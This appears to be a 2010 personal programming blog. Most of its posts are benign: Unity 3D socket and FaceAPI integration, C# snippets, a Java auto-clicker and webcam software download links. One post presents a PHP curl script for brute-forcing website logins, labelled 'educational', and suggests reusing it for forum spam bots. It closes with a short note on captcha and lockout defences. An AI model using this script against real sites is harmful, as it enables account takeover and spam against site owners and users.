Wednesday, December 15, 2010

Unity 3D Integration with any application/code/tool [TUTORIAL]

So, have you got a very good algorithm for Real Time eye detection with webcam in MATLAB, and want to integrate it with Unity 3D like, the realtime coordinates of your eye alter a game object or are you having a cool hand detection algorithm in any language and want to integrate it with Unity 3D? You have come to the right place.


Any application/external code can be integrated with Unity 3D. The concept is very simple, we are going to make them (unity and the external app/code) speak the same language (i.e.) Socket Programming. If you are new to Socket Programming, I recommend you to read some tutorial. Anyways, here I have done a simple Unity 3D UDP Server/Client as example. This code can be used to integrate Unity 3D with other codes/applications/tools.

Tutorials::
Download the project files first, check the end of this post for download link

Unity 3D UDP Server
1. Open Unity 3D and create a new project
2. Right Click in "Project" pane and do: Create-->C Sharp Script
3. Now you get a new script called NewBehaviourScript in your project pane
4. Download the attachment with this post and copy the code of "server.cs" file from the downloaded file into the NewBehaviourScript
5. Make sure that you rename NewBehaviourScript to server
6. Attach this script(server) to any gameobject, for simplicity, Main Camera
7. Go to Edit-->Project Settings-->Player and check "Run In Background" (Unity 3D applications by default, freeze when the focus is removed from them, so to prevent it, we use this)
8. Build and Run this project

Unity 3D UDP Client

1. Open Unity 3D and create a new project
2. Right Click in "Project" pane and do: Create-->C Sharp Script
3. Now you get a new script called NewBehaviourScript in your project pane
4. Download the attachment with this post and copy the code of "client.cs" file from the downloaded file into the NewBehaviourScript
5. Make sure that you rename NewBehaviourScript to client
6. Attach this script(client) to any gameobject, for simplicity, Main Camera
7. Go to Edit-->Project Settings-->Player and check "Run In Background" (Unity 3D applications by default, freeze when the focus is removed from them, so to prevent it, we use this)


For testing, we will use both client and server from Unity 3D
Make sure that server application is running, Run the client application from within Unity 3D itself, because the code that I have given uses print() function and you can see it within Unity 3D only. Otherwise, you have to check the logs.

You can now observe that inside Unity 3D, client application prints integers, which is sent by none other than the independent and separate server application.

Now, use your imagination to build some cool Unity 3D applications like you can send your real time eye coordinates or say eye blink etc., from webcam through any application/language/tool and use UDP client of this project and use this data to control any gameobject inside Unity 3D
These are few example projects based on this idea:
http://www.youtube.com/watch?v=yN_YEnDs2uk
http://www.youtube.com/watch?v=-GxykrIB3yM

Project Files
Download Link 1:
http://www.megaupload.com/?d=IIV1H4WB

Thursday, December 2, 2010

Unity 3D FaceAPI Integration Tutorials

First of all Im really sorry for taking a long time for releasing this awaited tutorials with all working codes.

Since I dont have web space of my own, I rely on free file hostings, I have uploaded the required files with the mirrors::
Demo:
http://www.youtube.com/watch?v=yN_YEnDs2uk


Tutorials PDF file: (Only the below two files/links are enough, other links are mirror links)
http://www.4shared.com/office/u4ZV8-ME/Unity_3D_FaceAPI_Integration.html
OR
http://www.megaupload.com/?d=G88L0PY1
OR
http://www.esnips.com/doc/2e10244f-ee05-473b-8c82-dbf1fc1aa244/Unity_3D_FaceAPI_Integration

Full Project (Unity Package File):
http://www.4shared.com/zip/f0-PHD1h/faceAPI.html
OR
http://www.megaupload.com/?d=YKX2B382
OR
http://www.esnips.com/doc/11acf06f-232a-4941-abe5-12a80aa713b0/faceAPI

Download the PDF file, that contains links of files to be downloaded...



IMPORTANT UPDATE:
In new Unity versions, there is an error "Null reference", this bug is fixed. Download this file
http://www.4shared.com/file/9E6oGLWg/script.html
OR
 http://www.mediafire.com/?ovz29bodd013gbk
OR
and replace the original script.cs file from /scripts in the unity package...

Thank god, found this script from my video(10:37), dont forget to check the video. Check the link down.

Dont forget to view this post:
http://mypersonalsoft.blogspot.com/2011/05/unity3d-faceapi-integration-to-achieve.html


Enjoy....

Please don't forget to post your comments here. This is my first tutorial, and your comment will really help me in improving myself...


And Unity 3D handVU Integration Tutorials will take some more time...sorry again friends!!

Saturday, October 30, 2010

Extracting individual bits from a byte array in C Sharp

Byte Array to bit conversion operation is often required operation when you are operating at bit level. The following program shows how to convert a string to its ASCII equivalent and read it bit by bit.


...
string txt = "C Sharp is cool"; //let txt be any text
byte[] txt_byt = Encoding.ASCII.GetBytes(txt); //txt_byt contains an array of byte equivalent(ASCII) of each character of the string
BitArray b_ar = new BitArray(txt_byt); //Now b_ar is a Bit Array that contains all the bits extracted from the byte array txt_byt. And note that bits are stored as boolean values, so the comparison will be
for (int i = 0; i < b_ar.Length; i++)
{
if (b_ar[i] == false)
{
Console.Write("0");
}
else
{
Console.Write("1");
}
}
...

Comparing Colors in C Sharp

Sometimes there could be problems in comparing two colors in C Sharp because we cant direct compare two colors using (==) operator. One handy solution is that write a function that compares each component of the color as:


public bool comp(Color A, Color B)
{
if (A.A.Equals(B.A) && A.R.Equals(B.R) && A.G.Equals(B.G) && A.B.Equals(B.B))
{
return true;
}
else
{
return false;
}
}


And now you can check two colors like

if(comp(Color.Black,Color.White)==true)
{
...
}

Saturday, October 2, 2010

Simple BruteForce Bot in PHP

THIS TUTORIAL IS JUST FOR EDUCATIONAL PURPOSES

Guys, I wanna show a simple bruteforce script in PHP using CURL. This script can be used for hacking any passwords with weaker security (i.e.) If that website isnt having captcha or it doesnt limit number of login attempts.

Assumptions:
1. After logging in, the user might see some text like "logout"

-----------------------------------------------------------------------

<?php
set_time_limit(0);
$url="URL_To_ATTACK";
/*
Write your own block to generate all possible strings that you wish to try using for loops and then generate $pass variable which you want to try
*/
echo "Trying {$pass}";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username=XXX&password={$pass}");
$output = curl_exec($ch);
curl_close($ch);
if(strstr($output,"logout"))
{
echo "Account hacked!!";
break;
}
}
?>
-----------------------------------------------------------------------

This technique can also be used for creating auto spamming bots, in forms, forums etc., If login is required for spamming, use the following line:

curl_setopt($ch, CURLOPT_COOKIEFILE, '/cookie.txt');

Where cookie.txt contains the success login account's cookie for that website!!


To evade these types of attacks, you can use a captcha or you can block the user if he tries wrong password for X times.

Saturday, September 25, 2010

Click Robot

I came across many games in Internet which wanted to measure my mouse clicking abilities and. So I decided to write a bot which can click at the given coordinate endlessly. The code is in Java. I have also explained the code in comments where ever required.
-------------------------------------------

// Automatic Click Bot in JAVA by Sriram.A.S. (sriramdasty7@gmail.com)
import java.awt.Robot;
import java.awt.event.InputEvent;
class mouse extends Robot
{
int i;
public mouse() throws Exception
{
i=1;
}
public static void main(String ar[]) throws Exception
{
mouse robot=new mouse();
/* This is the coordinate that i want to click. Change the x,y value where you want to click on the screen */
robot.mouseMove(403,580);
while(true)
{
//First i press mouse
robot.mousePress(InputEvent.BUTTON1_MASK);
//Then i release it
robot.mouseRelease(InputEvent.BUTTON1_MASK);
/* This i counter is just for safety, if you use an infinite loop, the program mich not stop and it will keep on clicking, so i stop clicking after 1200 times */
robot.i++;
if(robot.i==1200)
break;
}
}
}

-------------------------------------------

You can use this code for clicking a x,y coordinate on your screen infinitely!!

Saturday, September 11, 2010

Augmented Reality using Unity 3D

Here are two demos of Augmented Reality using Unity 3D

Unity 3D and Hand Vu ::
http://www.youtube.com/watch?v=-GxykrIB3yM

Unity 3D and FaceAPI ::
http://www.youtube.com/watch?v=yN_YEnDs2uk

Please bare with me guys, im making the tutorials, it might take some time since im a bit busy, but definitely i will post complete tutorials ASAP! Till then, if you want any code snips regarding this, you can leave a comment here

NetworkCam

I made a small software in .NET that will capture live webcam and broadcast it in network. The nice thing about this is, there is no client software required, you can view the stream directly in any web browser application....

Requires .NET 3.5 or above

Please test it and post your reviews here.

Download Link:
http://www.megaupload.com/?d=LD2EJ2MG

Mirror 1:
http://www.esnips.com/doc/3d46dc1c-fdf0-4070-a64f-4f978a50fecf/NetworkCam_FREE